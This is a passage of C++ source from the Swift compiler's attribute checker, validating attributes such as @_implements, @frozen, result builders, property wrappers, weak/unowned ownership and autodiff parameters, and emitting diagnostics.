return true;
}
void AttributeChecker::visitTypeEraserAttr(TypeEraserAttr *attr) {
assert(isa<ProtocolDecl>(D));
// Invoke the request.
(void)attr->hasViableTypeEraserInit(cast<ProtocolDecl>(D));
}
void AttributeChecker::visitImplementsAttr(ImplementsAttr *attr) {
DeclContext *DC = D->getDeclContext();
Type T = attr->getProtocolType();
if (!T && attr->getProtocolTypeRepr()) {
T = TypeResolution::forContextual(DC, None, /*unboundTyOpener*/ nullptr)
.resolveType(attr->getProtocolTypeRepr());
}
// Definite error-types were already diagnosed in resolveType.
if (T->hasError())
return;
attr->setProtocolType(T);
// Check that we got a ProtocolType.
if (auto PT = T->getAs<ProtocolType>()) {
ProtocolDecl *PD = PT->getDecl();
// Check that the ProtocolType has the specified member.
LookupResult R =
TypeChecker::lookupMember(PD->getDeclContext(), PT,
DeclNameRef(attr->getMemberName()));
if (!R) {
diagnose(attr->getLocation(),
diag::implements_attr_protocol_lacks_member,
PD->getName(), attr->getMemberName())
.highlight(attr->getMemberNameLoc().getSourceRange());
}
// Check that the decl we're decorating is a member of a type that actually
// conforms to the specified protocol.
NominalTypeDecl *NTD = DC->getSelfNominalTypeDecl();
SmallVector<ProtocolConformance *, 2> conformances;
if (!NTD->lookupConformance(DC->getParentModule(), PD, conformances)) {
diagnose(attr->getLocation(),
diag::implements_attr_protocol_not_conformed_to,
NTD->getName(), PD->getName())
.highlight(attr->getProtocolTypeRepr()->getSourceRange());
}
} else {
diagnose(attr->getLocation(), diag::implements_attr_non_protocol_type)
.highlight(attr->getProtocolTypeRepr()->getSourceRange());
}
}
void AttributeChecker::visitFrozenAttr(FrozenAttr *attr) {
if (auto *ED = dyn_cast<EnumDecl>(D)) {
if (!ED->getModuleContext()->isResilient()) {
attr->setInvalid();
return;
}
if (ED->getFormalAccess() < AccessLevel::Public &&
!ED->getAttrs().hasAttribute<UsableFromInlineAttr>()) {
diagnoseAndRemoveAttr(attr, diag::enum_frozen_nonpublic, attr);
return;
}
}
auto *VD = cast<ValueDecl>(D);
if (VD->getFormalAccess() < AccessLevel::Public &&
!VD->getAttrs().hasAttribute<UsableFromInlineAttr>()) {
diagnoseAndRemoveAttr(attr, diag::frozen_attr_on_internal_type,
VD->getName(), VD->getFormalAccess());
}
}
void AttributeChecker::visitCustomAttr(CustomAttr *attr) {
auto dc = D->getDeclContext();
// Figure out which nominal declaration this custom attribute refers to.
auto nominal = evaluateOrDefault(
Ctx.evaluator, CustomAttrNominalRequest{attr, dc}, nullptr);
if (!nominal) {
attr->setInvalid();
return;
}
// If the nominal type is a property wrapper type, we can be delegating
// through a property.
if (nominal->getAttrs().hasAttribute<PropertyWrapperAttr>()) {
// property wrappers can only be applied to variables
if (!isa<VarDecl>(D) || isa<ParamDecl>(D)) {
diagnose(attr->getLocation(),
diag::property_wrapper_attribute_not_on_property,
nominal->getName());
attr->setInvalid();
return;
}
return;
}
// If the nominal type is a result builder type, verify that D is a
// function, storage with an explicit getter, or parameter of function type.
if (nominal->getAttrs().hasAttribute<ResultBuilderAttr>()) {
ValueDecl *decl;
if (auto param = dyn_cast<ParamDecl>(D)) {
decl = param;
} else if (auto func = dyn_cast<FuncDecl>(D)) {
decl = func;
} else if (auto storage = dyn_cast<AbstractStorageDecl>(D)) {
decl = storage;
// Check whether this is a storage declaration that is not permitted
// to have a result builder attached.
auto shouldDiagnose = [&]() -> bool {
// An uninitialized stored property in a struct can have a function
// builder attached.
if (auto var = dyn_cast<VarDecl>(decl)) {
if (var->isInstanceMember() &&
isa<StructDecl>(var->getDeclContext()) &&
!var->getParentInitializer()) {
return false;
}
}
auto getter = storage->getParsedAccessor(AccessorKind::Get);
if (!getter)
return true;
// Module interfaces don't print bodies for all getters, so allow getters
// that don't have a body if we're compiling a module interface.
// Within a protocol definition, there will never be a body.
SourceFile *parent = storage->getDeclContext()->getParentSourceFile();
bool isInInterface = parent && parent->Kind == SourceFileKind::Interface;
if (!isInInterface && !getter->hasBody() &&
!isa<ProtocolDecl>(storage->getDeclContext()))
return true;
return false;
};
if (shouldDiagnose()) {
diagnose(attr->getLocation(),
diag::result_builder_attribute_on_storage_without_getter,
nominal->getName(),
isa<SubscriptDecl>(storage) ? 0
: storage->getDeclContext()->isTypeContext() ? 1
: cast<VarDecl>(storage)->isLet() ? 2 : 3);
attr->setInvalid();
return;
}
} else {
diagnose(attr->getLocation(),
diag::result_builder_attribute_not_allowed_here,
nominal->getName());
attr->setInvalid();
return;
}
// Diagnose and ignore arguments.
if (attr->getArg()) {
diagnose(attr->getLocation(), diag::result_builder_arguments)
.highlight(attr->getArg()->getSourceRange());
}
// Complain if this isn't the primary result-builder attribute.
auto attached = decl->getAttachedResultBuilder();
if (attached != attr) {
diagnose(attr->getLocation(), diag::result_builder_multiple,
isa<ParamDecl>(decl));
diagnose(attached->getLocation(), diag::previous_result_builder_here);
attr->setInvalid();
return;
} else {
// Force any diagnostics associated with computing the result-builder
// type.
(void) decl->getResultBuilderType();
}
return;
}
// If the nominal type is a global actor, let the global actor attribute
// retrieval request perform checking for us.
if (nominal->isGlobalActor()) {
(void)D->getGlobalActorAttr();
if (auto value = dyn_cast<ValueDecl>(D))
(void)getActorIsolation(value);
return;
}
diagnose(attr->getLocation(), diag::nominal_type_not_attribute,
nominal->getDescriptiveKind(), nominal->getName());
nominal->diagnose(diag::decl_declared_here, nominal->getName());
attr->setInvalid();
}
void AttributeChecker::visitPropertyWrapperAttr(PropertyWrapperAttr *attr) {
auto nominal = dyn_cast<NominalTypeDecl>(D);
if (!nominal)
return;
// Force checking of the property wrapper type.
(void)nominal->getPropertyWrapperTypeInfo();
}
void AttributeChecker::visitResultBuilderAttr(ResultBuilderAttr *attr) {
auto *nominal = dyn_cast<NominalTypeDecl>(D);
SmallVector<ValueDecl *, 4> potentialMatches;
bool supportsBuildBlock = TypeChecker::typeSupportsBuilderOp(
nominal->getDeclaredType(), nominal, D->getASTContext().Id_buildBlock,
/*argLabels=*/{}, &potentialMatches);
if (!supportsBuildBlock) {
{
auto diag = diagnose(
nominal->getLoc(), diag::result_builder_static_buildblock);
// If there were no close matches, propose adding a stub.
SourceLoc buildInsertionLoc;
std::string stubIndent;
Type componentType;
std::tie(buildInsertionLoc, stubIndent, componentType) =
determineResultBuilderBuildFixItInfo(nominal);
if (buildInsertionLoc.isValid() && potentialMatches.empty()) {
std::string fixItString;
{
llvm::raw_string_ostream out(fixItString);
printResultBuilderBuildFunction(
nominal, componentType,
ResultBuilderBuildFunction::BuildBlock,
stubIndent, out);
}
diag.fixItInsert(buildInsertionLoc, fixItString);
}
}
// For any close matches, attempt to explain to the user why they aren't
// valid.
for (auto *member : potentialMatches) {
if (member->isStatic() && isa<FuncDecl>(member))
continue;
if (isa<FuncDecl>(member) &&
member->getDeclContext()->getSelfNominalTypeDecl() == nominal)
diagnose(member->getLoc(), diag::result_builder_non_static_buildblock)
.fixItInsert(member->getAttributeInsertionLoc(true), "static ");
else if (isa<EnumElementDecl>(member))
diagnose(member->getLoc(), diag::result_builder_buildblock_enum_case);
else
diagnose(member->getLoc(),
diag::result_builder_buildblock_not_static_method);
}
}
}
void
AttributeChecker::visitImplementationOnlyAttr(ImplementationOnlyAttr *attr) {
if (isa<ImportDecl>(D)) {
// These are handled elsewhere.
return;
}
auto *VD = cast<ValueDecl>(D);
auto *overridden = VD->getOverriddenDecl();
if (!overridden) {
diagnoseAndRemoveAttr(attr, diag::implementation_only_decl_non_override);
return;
}
// Check if VD has the exact same type as what it overrides.
// Note: This is specifically not using `swift::getMemberTypeForComparison`
// because that erases more information than we want, like `throws`-ness.
auto baseInterfaceTy = overridden->getInterfaceType();
auto derivedInterfaceTy = VD->getInterfaceType();
auto selfInterfaceTy = VD->getDeclContext()->getDeclaredInterfaceType();
auto overrideInterfaceTy =
selfInterfaceTy->adjustSuperclassMemberDeclType(overridden, VD,
baseInterfaceTy);
if (isa<AbstractFunctionDecl>(VD)) {
// Drop the 'Self' parameter.
// FIXME: The real effect here, though, is dropping the generic signature.
// This should be okay because it should already be checked as part of
// making an override, but that isn't actually the case as of this writing,
// and it's kind of suspect anyway.
derivedInterfaceTy =
derivedInterfaceTy->castTo<AnyFunctionType>()->getResult();
overrideInterfaceTy =
overrideInterfaceTy->castTo<AnyFunctionType>()->getResult();
} else if (isa<SubscriptDecl>(VD)) {
// For subscripts, we don't have a 'Self' type, but turn it
// into a monomorphic function type.
// FIXME: does this actually make sense, though?
auto derivedInterfaceFuncTy = derivedInterfaceTy->castTo<AnyFunctionType>();
derivedInterfaceTy =
FunctionType::get(derivedInterfaceFuncTy->getParams(),
derivedInterfaceFuncTy->getResult());
auto overrideInterfaceFuncTy =
overrideInterfaceTy->castTo<AnyFunctionType>();
overrideInterfaceTy =
FunctionType::get(overrideInterfaceFuncTy->getParams(),
overrideInterfaceFuncTy->getResult());
}
if (!derivedInterfaceTy->isEqual(overrideInterfaceTy)) {
diagnose(VD, diag::implementation_only_override_changed_type,
overrideInterfaceTy);
diagnose(overridden, diag::overridden_here);
return;
}
// FIXME: When compiling without library evolution enabled, this should also
// check whether VD or any of its accessors need a new vtable entry, even if
// it won't necessarily be able to say why.
}
void AttributeChecker::visitNonEphemeralAttr(NonEphemeralAttr *attr) {
auto *param = cast<ParamDecl>(D);
auto type = param->getInterfaceType()->lookThroughSingleOptionalType();
// Can only be applied to Unsafe[...]Pointer types
if (type->getAnyPointerElementType())
return;
// ... or the protocol Self type.
auto *outerDC = param->getDeclContext()->getParent();
if (outerDC->getSelfProtocolDecl() &&
type->isEqual(outerDC->getProtocolSelfType())) {
return;
}
diagnose(attr->getLocation(), diag::non_ephemeral_non_pointer_type);
attr->setInvalid();
}
void AttributeChecker::checkOriginalDefinedInAttrs(Decl *D,
ArrayRef<OriginallyDefinedInAttr*> Attrs) {
if (Attrs.empty())
return;
auto &Ctx = D->getASTContext();
std::map<PlatformKind, SourceLoc> seenPlatforms;
// Attrs are in the reverse order of the source order. We need to visit them
// in source order to diagnose the later attribute.
for (auto *Attr: Attrs) {
if (!Attr->isActivePlatform(Ctx))
continue;
auto AtLoc = Attr->AtLoc;
auto Platform = Attr->Platform;
if (!seenPlatforms.insert({Platform, AtLoc}).second) {
// We've seen the platform before, emit error to the previous one which
// comes later in the source order.
diagnose(seenPlatforms[Platform],
diag::originally_defined_in_dupe_platform,
platformString(Platform));
return;
}
static StringRef AttrName = "_originallyDefinedIn";
if (!D->getDeclContext()->isModuleScopeContext()) {
diagnose(AtLoc, diag::originally_definedin_topleve_decl, AttrName);
return;
}
auto IntroVer = D->getIntroducedOSVersion(Platform);
if (!IntroVer.hasValue()) {
diagnose(AtLoc, diag::originally_definedin_need_available,
AttrName);
return;
}
if (IntroVer.getValue() >= Attr->MovedVersion) {
diagnose(AtLoc,
diag::originally_definedin_must_after_available_version,
AttrName);
return;
}
}
}
Type TypeChecker::checkReferenceOwnershipAttr(VarDecl *var, Type type,
ReferenceOwnershipAttr *attr) {
auto &Diags = var->getASTContext().Diags;
auto *dc = var->getDeclContext();
// Don't check ownership attribute if the type is invalid.
if (attr->isInvalid() || type->is<ErrorType>())
return type;
auto ownershipKind = attr->get();
// A weak variable must have type R? or R! for some ownership-capable type R.
auto underlyingType = type->getOptionalObjectType();
auto isOptional = bool(underlyingType);
switch (optionalityOf(ownershipKind)) {
case ReferenceOwnershipOptionality::Disallowed:
if (isOptional) {
var->diagnose(diag::invalid_ownership_with_optional, ownershipKind)
.fixItReplace(attr->getRange(), "weak");
attr->setInvalid();
}
break;
case ReferenceOwnershipOptionality::Allowed:
break;
case ReferenceOwnershipOptionality::Required:
if (var->isLet()) {
var->diagnose(diag::invalid_ownership_is_let, ownershipKind);
attr->setInvalid();
}
if (!isOptional) {
attr->setInvalid();
// @IBOutlet has its own diagnostic when the property type is
// non-optional.
if (var->getAttrs().hasAttribute<IBOutletAttr>())
break;
auto diag = var->diagnose(diag::invalid_ownership_not_optional,
ownershipKind, OptionalType::get(type));
auto typeRange = var->getTypeSourceRangeForDiagnostics();
if (type->hasSimpleTypeRepr()) {
diag.fixItInsertAfter(typeRange.End, "?");
} else {
diag.fixItInsert(typeRange.Start, "(")
.fixItInsertAfter(typeRange.End, ")?");
}
}
break;
}
if (!underlyingType)
underlyingType = type;
auto sig = var->getDeclContext()->getGenericSignatureOfContext();
if (!underlyingType->allowsOwnership(sig.getPointer())) {
auto D = diag::invalid_ownership_type;
if (underlyingType->isExistentialType() ||
underlyingType->isTypeParameter()) {
// Suggest the possibility of adding a class bound.
D = diag::invalid_ownership_protocol_type;
}
var->diagnose(D, ownershipKind, underlyingType);
attr->setInvalid();
}
ClassDecl *underlyingClass = underlyingType->getClassOrBoundGenericClass();
if (underlyingClass && underlyingClass->isIncompatibleWithWeakReferences()) {
Diags
.diagnose(attr->getLocation(),
diag::invalid_ownership_incompatible_class, underlyingType,
ownershipKind)
.fixItRemove(attr->getRange());
attr->setInvalid();
}
auto PDC = dyn_cast<ProtocolDecl>(dc);
if (PDC && !PDC->isObjC()) {
// Ownership does not make sense in protocols, except for "weak" on
// properties of Objective-C protocols.
auto D = var->getASTContext().isSwiftVersionAtLeast(5)
? diag::ownership_invalid_in_protocols
: diag::ownership_invalid_in_protocols_compat_warning;
Diags.diagnose(attr->getLocation(), D, ownershipKind)
.fixItRemove(attr->getRange());
attr->setInvalid();
}
if (attr->isInvalid())
return type;
// Change the type to the appropriate reference storage type.
return ReferenceStorageType::get(type, ownershipKind, var->getASTContext());
}
Optional<Diag<>>
TypeChecker::diagnosticIfDeclCannotBePotentiallyUnavailable(const Decl *D) {
DeclContext *DC = D->getDeclContext();
// Do not permit potential availability of script-mode global variables;
// their initializer expression is not lazily evaluated, so this would
// not be safe.
if (isa<VarDecl>(D) && DC->isModuleScopeContext() &&
DC->getParentSourceFile()->isScriptMode()) {
return diag::availability_global_script_no_potential;
}
// For now, we don't allow stored properties to be potentially unavailable.
// We will want to support these eventually, but we haven't figured out how
// this will interact with Definite Initialization, deinitializers and
// resilience yet.
if (auto *VD = dyn_cast<VarDecl>(D)) {
// Globals and statics are lazily initialized, so they are safe
// for potential unavailability. Note that if D is a global in script
// mode (which are not lazy) then we will already have returned
// a diagnosis above.
bool lazilyInitializedStored = VD->isStatic() ||
VD->getAttrs().hasAttribute<LazyAttr>() ||
DC->isModuleScopeContext();
if (VD->hasStorage() && !lazilyInitializedStored) {
return diag::availability_stored_property_no_potential;
}
}
return None;
}
static bool shouldBlockImplicitDynamic(Decl *D) {
if (D->getAttrs().hasAttribute<NonObjCAttr>() ||
D->getAttrs().hasAttribute<SILGenNameAttr>() ||
D->getAttrs().hasAttribute<TransparentAttr>() ||
D->getAttrs().hasAttribute<InlinableAttr>())
return true;
return false;
}
void TypeChecker::addImplicitDynamicAttribute(Decl *D) {
if (!D->getModuleContext()->isImplicitDynamicEnabled())
return;
// Add the attribute if the decl kind allows it and it is not an accessor
// decl. Accessor decls should always infer the var/subscript's attribute.
if (!DeclAttribute::canAttributeAppearOnDecl(DAK_Dynamic, D) ||
isa<AccessorDecl>(D))
return;
// Don't add dynamic if decl is inlinable or tranparent.
if (shouldBlockImplicitDynamic(D))
return;
if (auto *FD = dyn_cast<FuncDecl>(D)) {
// Don't add dynamic to defer bodies.
if (FD->isDeferBody())
return;
// Don't add dynamic to functions with a cdecl.
if (FD->getAttrs().hasAttribute<CDeclAttr>())
return;
// Don't add dynamic to local function definitions.
if (!FD->getDeclContext()->isTypeContext() &&
FD->getDeclContext()->isLocalContext())
return;
}
// Don't add dynamic if accessor is inlinable or transparent.
if (auto *asd = dyn_cast<AbstractStorageDecl>(D)) {
bool blocked = false;
asd->visitParsedAccessors([&](AccessorDecl *accessor) {
blocked |= shouldBlockImplicitDynamic(accessor);
});
if (blocked)
return;
}
if (auto *VD = dyn_cast<VarDecl>(D)) {
// Don't turn stored into computed properties. This could conflict with
// exclusivity checking.
// If there is a didSet or willSet function we allow dynamic replacement.
if (VD->hasStorage() &&
!VD->getParsedAccessor(AccessorKind::DidSet) &&
!VD->getParsedAccessor(AccessorKind::WillSet))
return;
// Don't add dynamic to local variables.
if (VD->getDeclContext()->isLocalContext())
return;
// Don't add to implicit variables.
if (VD->isImplicit())
return;
}
if (!D->getAttrs().hasAttribute<DynamicAttr>() &&
!D->getAttrs().hasAttribute<DynamicReplacementAttr>()) {
auto attr = new (D->getASTContext()) DynamicAttr(/*implicit=*/true);
D->getAttrs().add(attr);
}
}
ValueDecl *
DynamicallyReplacedDeclRequest::evaluate(Evaluator &evaluator,
ValueDecl *VD) const {
// Dynamic replacements must be explicit.
if (VD->isImplicit())
return nullptr;
auto *attr = VD->getAttrs().getAttribute<DynamicReplacementAttr>();
if (!attr) {
// It's likely that the accessor isn't annotated but its storage is.
if (auto *AD = dyn_cast<AccessorDecl>(VD)) {
// Try to grab the attribute from the storage.
attr = AD->getStorage()->getAttrs().getAttribute<DynamicReplacementAttr>();
}
if (!attr) {
// Otherwise, it's not dynamically replacing anything.
return nullptr;
}
}
// If the attribute is invalid, bail.
if (attr->isInvalid())
return nullptr;
// If we can lazily resolve the function, do so now.
if (auto *LazyResolver = attr->Resolver) {
auto decl = LazyResolver->loadDynamicallyReplacedFunctionDecl(
attr, attr->ResolverContextData);
attr->Resolver = nullptr;
return decl;
}
auto &Ctx = VD->getASTContext();
if (auto *AD = dyn_cast<AccessorDecl>(VD)) {
return findReplacedAccessor(attr->getReplacedFunctionName(), AD, attr, Ctx);
}
if (auto *AFD = dyn_cast<AbstractFunctionDecl>(VD)) {
return findReplacedFunction(attr->getReplacedFunctionName(), AFD,
attr, &Ctx.Diags);
}
if (auto *SD = dyn_cast<AbstractStorageDecl>(VD)) {
return findReplacedStorageDecl(attr->getReplacedFunctionName(), SD, attr);
}
return nullptr;
}
ValueDecl *
SpecializeAttrTargetDeclRequest::evaluate(Evaluator &evaluator,
const ValueDecl *vd,
SpecializeAttr *attr) const {
if (auto *lazyResolver = attr->resolver) {
auto *decl =
lazyResolver->loadTargetFunctionDecl(attr, attr->resolverContextData);
attr->resolver = nullptr;
return decl;
}
auto &ctx = vd->getASTContext();
auto targetFunctionName = attr->getTargetFunctionName();
if (!targetFunctionName)
return nullptr;
if (auto *ad = dyn_cast<AccessorDecl>(vd)) {
return findTargetAccessor(targetFunctionName, ad, attr, ctx);
}
if (auto *afd = dyn_cast<AbstractFunctionDecl>(vd)) {
return findTargetFunction(targetFunctionName, afd, attr, &ctx.Diags);
}
return nullptr;
}
/// Returns true if the given type conforms to `Differentiable` in the given
/// context. If `tangentVectorEqualsSelf` is true, also check whether the given
/// type satisfies `TangentVector == Self`.
static bool conformsToDifferentiable(Type type, DeclContext *DC,
bool tangentVectorEqualsSelf = false) {
auto &ctx = type->getASTContext();
auto *differentiableProto =
ctx.getProtocol(KnownProtocolKind::Differentiable);
auto conf = TypeChecker::conformsToProtocol(type, differentiableProto, DC);
if (conf.isInvalid())
return false;
if (!tangentVectorEqualsSelf)
return true;
auto tanType = conf.getTypeWitnessByName(type, ctx.Id_TangentVector);
return type->isEqual(tanType);
};
IndexSubset *TypeChecker::inferDifferentiabilityParameters(
AbstractFunctionDecl *AFD, GenericEnvironment *derivativeGenEnv) {
auto &ctx = AFD->getASTContext();
auto *functionType = AFD->getInterfaceType()->castTo<AnyFunctionType>();
auto numUncurriedParams = functionType->getNumParams();
if (auto *resultFnType =
functionType->getResult()->getAs<AnyFunctionType>()) {
numUncurriedParams += resultFnType->getNumParams();
}
llvm::SmallBitVector parameterBits(numUncurriedParams);
SmallVector<Type, 4> allParamTypes;
// Returns true if the i-th parameter type is differentiable.
auto isDifferentiableParam = [&](unsigned i) -> bool {
if (i >= allParamTypes.size())
return false;
auto paramType = allParamTypes[i];
if (derivativeGenEnv)
paramType = derivativeGenEnv->mapTypeIntoContext(paramType);
else
paramType = AFD->mapTypeIntoContext(paramType);
// Return false for existential types.
if (paramType->isExistentialType())
return false;
// Return true if the type conforms to `Differentiable`.
return conformsToDifferentiable(paramType, AFD);
};
// Get all parameter types.
// NOTE: To be robust, result function type parameters should be added only if
// `functionType` comes from a static/instance method, and not a free function
// returning a function type. In practice, this code path should not be
// reachable for free functions returning a function type.
if (auto resultFnType = functionType->getResult()->getAs<AnyFunctionType>())
for (auto ¶m : resultFnType->getParams())
allParamTypes.push_back(param.getPlainType());
for (auto ¶m : functionType->getParams())
allParamTypes.push_back(param.getPlainType());
// Set differentiability parameters.
for (unsigned i : range(parameterBits.size()))
if (isDifferentiableParam(i))
parameterBits.set(i);
return IndexSubset::get(ctx, parameterBits);
}
/// Computes the differentiability parameter indices from the given parsed
/// differentiability parameters for the given original or derivative
/// `AbstractFunctionDecl` and derivative generic environment. On error, emits
/// diagnostics and returns `nullptr`.
/// - If parsed parameters are empty, infer parameter indices.
/// - Otherwise, build parameter indices from parsed parameters.
/// The attribute name/location are used in diagnostics.
static IndexSubset *computeDifferentiabilityParameters(
ArrayRef<ParsedAutoDiffParameter> parsedDiffParams,
AbstractFunctionDecl *function, GenericEnvironment *derivativeGenEnv,
StringRef attrName, SourceLoc attrLoc) {
auto &ctx = function->getASTContext();
auto &diags = ctx.Diags;
// Get function type and parameters.
auto *functionType = function->getInterfaceType()->castTo<AnyFunctionType>();
auto ¶ms = *function->getParameters();
auto numParams = function->getParameters()->size();
auto isInstanceMethod = function->isInstanceMember();
// Diagnose if function has no parameters.
if (params.size() == 0) {
// If function is not an instance method, diagnose immediately.
if (!isInstanceMethod) {
diags
.diagnose(attrLoc, diag::diff_function_no_parameters,
function->getName())
.highlight(function->getSignatureSourceRange());
return nullptr;
}
// If function is an instance method, diagnose only if `self` does not
// conform to `Differentiable`.
else {
auto selfType = function->getImplicitSelfDecl()->getInterfaceType();
if (derivativeGenEnv)
selfType = derivativeGenEnv->mapTypeIntoContext(selfType);
else
selfType = function->mapTypeIntoContext(selfType);
if (!conformsToDifferentiable(selfType, function)) {
diags
.diagnose(attrLoc, diag::diff_function_no_parameters,
function->getName())
.highlight(function->getSignatureSourceRange());
return nullptr;
}
}
}
// If parsed differentiability parameters are empty, infer parameter indices
// from the function type.
if (parsedDiffParams.empty())
return TypeChecker::inferDifferentiabilityParameters(function,
derivativeGenEnv);
// Otherwise, build parameter indices from parsed differentiability
// parameters.
auto numUncurriedParams = functionType->getNumParams();
if (auto *resultFnType =
functionType->getResult()->getAs<AnyFunctionType>()) {
numUncurriedParams += resultFnType->getNumParams();
}
llvm::SmallBitVector parameterBits(numUncurriedParams);
int lastIndex = -1;
for (unsigned i : indices(parsedDiffParams)) {
auto paramLoc = parsedDiffParams[i].getLoc();
switch (parsedDiffParams[i].getKind()) {
case ParsedAutoDiffParameter::Kind::Named: {
auto nameIter = llvm::find_if(params.getArray(), [&](ParamDecl *param) {
return param->getName() == parsedDiffParams[i].getName();
});
// Parameter name must exist.
if (nameIter == params.end()) {
diags.diagnose(paramLoc, diag::diff_params_clause_param_name_unknown,
parsedDiffParams[i].getName());
return nullptr;
}
// Parameter names must be specified in the original order.
unsigned index = std::distance(params.begin(), nameIter);
if ((int)index <= lastIndex) {
diags.diagnose(paramLoc,
diag::diff_params_clause_params_not_original_order);
return nullptr;
}
parameterBits.set(index);
lastIndex = index;
break;
}
case ParsedAutoDiffParameter::Kind::Self: {
// 'self' is only applicable to instance methods.
if (!isInstanceMethod) {
diags.diagnose(paramLoc,
diag::diff_params_clause_self_instance_method_only);
return nullptr;
}
// 'self' can only be the first in the list.
if (i > 0) {
diags.diagnose(paramLoc, diag::diff_params_clause_self_must_be_first);
return nullptr;
}
parameterBits.set(parameterBits.size() - 1);
break;
}
case ParsedAutoDiffParameter::Kind::Ordered: {
auto index = parsedDiffParams[i].getIndex();
if (index >= numParams) {
diags.diagnose(paramLoc,
diag::diff_params_clause_param_index_out_of_range);
return nullptr;
}
// Parameter names must be specified in the original order.
if ((int)index <= lastIndex) {
diags.diagnose(paramLoc,
diag::diff_params_clause_params_not_original_order);
return nullptr;
}
parameterBits.set(index);
lastIndex = index;
break;
}
}
}
return IndexSubset::get(ctx, parameterBits);
}
/// Returns the `DescriptiveDeclKind` corresponding to the given `AccessorKind`.
/// Used for diagnostics.
static DescriptiveDeclKind getAccessorDescriptiveDeclKind(AccessorKind kind) {
switch (kind) {
case AccessorKind::Get:
return DescriptiveDeclKind::Getter;
case AccessorKind::Set:
return DescriptiveDeclKind::Setter;
case AccessorKind::Read:
return DescriptiveDeclKind::ReadAccessor;
case AccessorKind::Modify:
return DescriptiveDeclKind::ModifyAccessor;
case AccessorKind::WillSet:
return DescriptiveDeclKind::WillSet;
case AccessorKind::DidSet:
return DescriptiveDeclKind::DidSet;
case AccessorKind::Address:
return DescriptiveDeclKind::Addressor;
case AccessorKind::MutableAddress:
return DescriptiveDeclKind::MutableAddressor;
}
}
/// An abstract function declaration lookup error.
enum class AbstractFunctionDeclLookupErrorKind {
/// No lookup candidates could be found.
NoCandidatesFound,
/// There are multiple valid lookup candidates.
CandidatesAmbiguous,
/// Lookup candidate does not have the expected type.
CandidateTypeMismatch,
/// Lookup candidate is in the wrong type context.
CandidateWrongTypeContext,
/// Lookup candidate does not have the requested accessor.
CandidateMissingAccessor,
/// Lookup candidate is a protocol requirement.
CandidateProtocolRequirement,
/// Lookup candidate could be resolved to an `AbstractFunctionDecl`.
CandidateNotFunctionDeclaration
};
/// Returns the original function (in the context of a derivative or transpose
/// function) declaration corresponding to the given base type (optional),
/// function name, lookup context, and the expected original function type.
///
/// If the base type of the function is specified, member lookup is performed.
/// Otherwise, unqualified lookup is performed.
///
/// If the expected original function type has a generic signature, any
/// candidate with a less constrained type signature than the expected original
/// function type will be treated as a viable candidate.
///
/// If the function declaration cannot be resolved, emits a diagnostic and
/// returns nullptr.
///
/// Used for resolving the referenced declaration in `@derivative` and
/// `@transpose` attributes.
static AbstractFunctionDecl *findAutoDiffOriginalFunctionDecl(
DeclAttribute *attr, Type baseType, DeclNameRefWithLoc funcNameWithLoc,
DeclContext *lookupContext, NameLookupOptions lookupOptions,
const llvm::function_ref<Optional<AbstractFunctionDeclLookupErrorKind>(
AbstractFunctionDecl *)> &isValidCandidate,
AnyFunctionType *expectedOriginalFnType) {
assert(lookupContext);
auto &ctx = lookupContext->getASTContext();
auto &diags = ctx.Diags;
auto funcName = funcNameWithLoc.Name;
auto funcNameLoc = funcNameWithLoc.Loc;
auto maybeAccessorKind = funcNameWithLoc.AccessorKind;
// Perform lookup.
LookupResult results;
// If `baseType` is not null but `lookupContext` is a type context, set
// `baseType` to the `self` type of `lookupContext` to perform member lookup.
if (!baseType && lookupContext->isTypeContext())
baseType = lookupContext->getSelfTypeInContext();
if (baseType) {
results = TypeChecker::lookupMember(lookupContext, baseType, funcName);
} else {
results = TypeChecker::lookupUnqualified(
lookupContext, funcName, funcNameLoc.getBaseNameLoc(), lookupOptions);
}
// Error if no candidates were found.
if (results.empty()) {
diags.diagnose(funcNameLoc, diag::cannot_find_in_scope, funcName,
funcName.isOperator());
return nullptr;
}
// Track invalid and valid candidates.
using LookupErrorKind = AbstractFunctionDeclLookupErrorKind;
SmallVector<std::pair<ValueDecl *, LookupErrorKind>, 2> invalidCandidates;
SmallVector<AbstractFunctionDecl *, 2> validCandidates;
// Filter lookup results.
for (auto choice : results) {
auto *decl = choice.getValueDecl();
// Cast the candidate to an `AbstractFunctionDecl`.
auto *candidate = dyn_cast<AbstractFunctionDecl>(decl);
// If the candidate is an `AbstractStorageDecl`, use one of its accessors as
// the candidate.
if (auto *asd = dyn_cast<AbstractStorageDecl>(decl)) {
// If accessor kind is specified, use corresponding accessor from the
// candidate. Otherwise, use the getter by default.
auto accessorKind = maybeAccessorKind.getValueOr(AccessorKind::Get);
candidate = asd->getOpaqueAccessor(accessorKind);
// Error if candidate is missing the requested accessor.
if (!candidate) {
invalidCandidates.push_back(
{decl, LookupErrorKind::CandidateMissingAccessor});
continue;
}
}
// Error if the candidate is not an `AbstractStorageDecl` but an accessor is
// requested.
else if (maybeAccessorKind.hasValue()) {
invalidCandidates.push_back(
{decl, LookupErrorKind::CandidateMissingAccessor});
continue;
}
// Error if candidate is not a `AbstractFunctionDecl`.
if (!candidate) {
invalidCandidates.push_back(
{decl, LookupErrorKind::CandidateNotFunctionDeclaration});
continue;
}
// Error if candidate is not valid.
auto invalidCandidateKind = isValidCandidate(candidate);
if (invalidCandidateKind.hasValue()) {
invalidCandidates.push_back({candidate, *invalidCandidateKind});
continue;
}
// Otherwise, record valid candidate.
validCandidates.push_back(candidate);
}
// If there are no valid candidates, emit diagnostics for invalid candidates.
if (validCandidates.empty()) {
assert(!invalidCandidates.empty());
diags.diagnose(funcNameLoc, diag::autodiff_attr_original_decl_none_valid,
funcName);
for (auto invalidCandidatePair : invalidCandidates) {
auto *invalidCandidate = invalidCandidatePair.first;
auto invalidCandidateKind = invalidCandidatePair.second;
auto declKind = invalidCandidate->getDescriptiveKind();
switch (invalidCandidateKind) {
case AbstractFunctionDeclLookupErrorKind::NoCandidatesFound:
diags.diagnose(invalidCandidate, diag::cannot_find_in_scope, funcName,
funcName.isOperator());
break;
case AbstractFunctionDeclLookupErrorKind::CandidatesAmbiguous:
diags.diagnose(invalidCandidate, diag::attr_ambiguous_reference_to_decl,
funcName, attr->getAttrName());
break;
case AbstractFunctionDeclLookupErrorKind::CandidateTypeMismatch: {
// If the expected original function type has a generic signature, emit
// "candidate does not have type equal to or less constrained than ..."
// diagnostic.
//
// This is significant because derivative/transpose functions may have
// more constrained generic signatures than their referenced original
// declarations.
if (auto genSig = expectedOriginalFnType->getOptGenericSignature()) {
diags.diagnose(invalidCandidate,
diag::autodiff_attr_original_decl_type_mismatch,
declKind, expectedOriginalFnType,
/*hasGenericSignature*/ true);
break;
}
